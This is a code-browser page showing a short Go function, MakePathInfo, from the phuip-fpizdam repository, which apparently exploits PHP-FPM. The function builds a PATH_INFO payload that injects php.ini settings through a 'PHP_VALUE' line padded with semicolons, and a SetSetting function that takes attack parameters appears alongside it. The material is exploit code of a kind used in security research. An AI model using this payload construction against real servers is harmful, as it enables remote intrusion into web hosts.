MCPcopy
hub / github.com/neex/phuip-fpizdam / MakePathInfo

Function MakePathInfo

phpini.go:10–16  ·  view source on GitHub ↗
(phpValue string)

Source from the content-addressed store, hash-verified

8)
9
10func MakePathInfo(phpValue string) (string, error) {
11 pi := "/PHP_VALUE\n" + phpValue
12 if len(pi) > PosOffset {
13 return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
14 }
15 return pi + strings.Repeat(";", PosOffset-len(pi)), nil
16}
17
18func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
19 log.Printf("Trying to set %#v...", setting)

Callers 2

DetectFunction · 0.85
SetSettingSingleFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected